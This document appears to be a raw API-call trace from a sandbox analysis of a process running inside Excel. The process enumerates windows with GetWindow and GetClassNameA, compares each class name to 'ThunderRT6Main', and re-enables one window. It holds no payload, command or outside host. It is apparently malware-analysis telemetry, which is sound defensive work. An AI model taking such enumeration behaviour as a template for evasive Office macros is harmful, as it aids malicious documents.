GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0121.798] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0121.798] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0121.798] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.798] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0121.798] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0121.798] IsWindowEnabled (hWnd=0x302dc) returned 0 [0121.798] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0121.799] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0121.799] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0121.799] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0121.799] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0121.799] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0121.799] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0121.799] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0121.799] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0121.799] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0121.799] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.799] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0121.799] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0121.799] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0121.799] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0121.799] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.799] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0121.799] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0121.799] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0121.799] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0121.799] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.799] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0121.799] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0121.799] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0121.799] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0121.799] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.799] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0121.799] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0121.799] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0121.799] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0121.799] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0121.799] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0121.799] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0121.799] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.799] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0121.799] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0121.799] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0121.799] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0121.799] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0121.799] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0121.799] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0121.799] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0121.799] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0121.799] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.799] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0121.799] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0121.799] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0121.799] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0121.800] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0121.800] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0121.800] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0121.800] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0121.800] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0121.800] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0121.800] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0121.800] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0121.800] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0121.800] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0121.800] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0121.800] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0121.800] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0121.800] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0121.800] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0121.800] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0121.800] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0121.800] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0121.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0121.800] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0121.800] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0121.800] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0121.800] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0121.800] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0121.800] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0121.800] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0121.800] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0121.800] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0121.800] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0121.800] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0121.800] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0121.800] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.800] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0121.800] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0121.800] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0121.800] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0121.800] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.800] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0121.800] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0121.800] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0121.800] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0121.800] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0121.800] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0121.800] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0121.801] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.801] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0121.801] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0121.801] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0121.801] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0121.801] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0121.801] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0121.801] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0121.801] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0121.801] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0121.801] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0121.801] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0121.801] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0121.801] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0121.801] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0121.801] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0121.801] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0121.801] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0121.801] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0121.801] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0121.801] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0121.801] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0121.801] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0121.801] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0121.801] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0121.801] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0121.801] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.801] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.801] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0121.802] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0121.802] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0121.802] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0121.802] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0121.802] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0121.802] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0121.802] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0121.802] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0121.802] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0121.802] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0121.802] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0121.802] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0121.802] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0121.802] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0121.802] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0121.802] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0121.802] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0121.802] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0121.802] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0121.802] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.802] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0121.802] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0121.803] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0121.803] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0121.803] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0121.803] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0121.803] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0121.803] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0121.803] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0121.803] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0121.803] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0121.803] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0121.803] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0121.803] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0121.803] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0121.803] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.803] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0121.803] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0121.803] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0121.803] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0121.804] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0121.804] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0121.804] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0121.804] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0121.804] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0121.804] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0121.804] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0121.804] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0121.804] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0121.804] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0121.804] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0121.804] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0121.804] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0121.804] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0121.804] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0121.804] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0121.805] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0121.805] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0121.805] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0121.805] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0121.805] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0121.805] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0121.805] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0121.805] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0121.805] 